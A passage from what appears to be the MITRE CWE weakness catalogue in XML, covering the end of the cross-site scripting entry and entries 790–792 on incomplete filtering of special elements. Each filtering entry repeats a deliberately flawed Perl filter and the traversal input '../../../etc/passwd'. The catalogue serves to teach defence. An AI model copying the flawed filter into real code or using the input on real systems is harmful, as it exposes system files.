               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5080</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4308</Reference>
               <Description>Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4308</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5727</Reference>
               <Description>Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5727</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5770</Reference>
               <Description>Reflected XSS using the PATH_INFO in a URL</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5770</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4730</Reference>
               <Description>Reflected XSS not properly handled when generating an error message</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4730</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5734</Reference>
               <Description>Reflected XSS sent through email message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5734</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0971</Reference>
               <Description>Stored XSS in a security product.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0971</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5249</Reference>
               <Description>Stored XSS using a wiki page.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5249</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3568</Reference>
               <Description>Stored XSS in a guestbook application.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3568</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3211</Reference>
               <Description>Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3211</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3295</Reference>
               <Description>Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3295</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Cross-site scripting (XSS)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Cross-site Scripting</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Cross-site scripting</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Cross Site Scripting (XSS)</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A4</Entry_ID>
               <Entry_Name>Cross-Site Scripting (XSS) Flaws</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>8</Entry_ID>
               <Entry_Name>Cross-site Scripting</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-79</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="209"/>
            <Related_Attack_Pattern CAPEC_ID="588"/>
            <Related_Attack_Pattern CAPEC_ID="591"/>
            <Related_Attack_Pattern CAPEC_ID="592"/>
            <Related_Attack_Pattern CAPEC_ID="63"/>
            <Related_Attack_Pattern CAPEC_ID="85"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-709"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting).&#34; Page 31"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 3: Web-Client Related Vulnerabilities (XSS).&#34; Page 63"/>
            <Reference External_Reference_ID="REF-712"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 13, &#34;Web-Specific Input Issues&#34; Page 413"/>
            <Reference External_Reference_ID="REF-714"/>
            <Reference External_Reference_ID="REF-715"/>
            <Reference External_Reference_ID="REF-716"/>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-718"/>
            <Reference External_Reference_ID="REF-719"/>
            <Reference External_Reference_ID="REF-720"/>
            <Reference External_Reference_ID="REF-721"/>
            <Reference External_Reference_ID="REF-722"/>
            <Reference External_Reference_ID="REF-723"/>
            <Reference External_Reference_ID="REF-724"/>
            <Reference External_Reference_ID="REF-725"/>
            <Reference External_Reference_ID="REF-726"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 17, &#34;Cross Site Scripting&#34;, Page 1071"/>
            <Reference External_Reference_ID="REF-956"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-79"/>
         </References>
         <Notes>
            <Note Type="Relationship">
               <xhtml:p>There can be a close relationship between XSS and CSRF (CWE-352).  An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload.  A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend.  MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.</xhtml:p>
            </Note>
            <Note Type="Applicable Platform">
               <xhtml:p>XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Background_Details, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Cross-site Scripting (XSS)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Preserve Web Page Structure ('Cross-site Scripting')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="790" Name="Improper Filtering of Special Elements" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-2">
               <Intro_Text>The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>$Username =~ s/\.\.\///;<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" stripped, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-12-04</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="791" Name="Incomplete Filtering of Special Elements" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="790" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-2">
               <Intro_Text>The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>$Username =~ s/\.\.\///;<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" stripped, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-12-04</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="792" Name="Incomplete Filtering of One or More Instances of Special Elements" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.</Description>
         <Extended_Description>
            <xhtml:p>Incomplete filtering of this nature involves either:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>only filtering a single instance of a special element when more exist, or</xhtml:li>
                  <xhtml:li>not filtering all instances or all elements where multiple special elements exist.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="791" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-2">
               <Intro_Text>The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $Username = GetUntrustedInput();<xhtml:br/>$Username =~ s/\.\.\///;<xhtml:br/>my $filename = "/home/user/" . $Username;<xhtml:br/>ReadAndSendFile($filename);</xhtml:div>
               </Example_Code>
               <Body_Text>Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>../../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>will have the first "../" stripped, resulting in:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>This value is then concatenated with the /home/user/ directory:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/home/user/../../etc/passwd</xhtml:div>
               </Example_Code>
               <Body_Text>which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-12-04</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
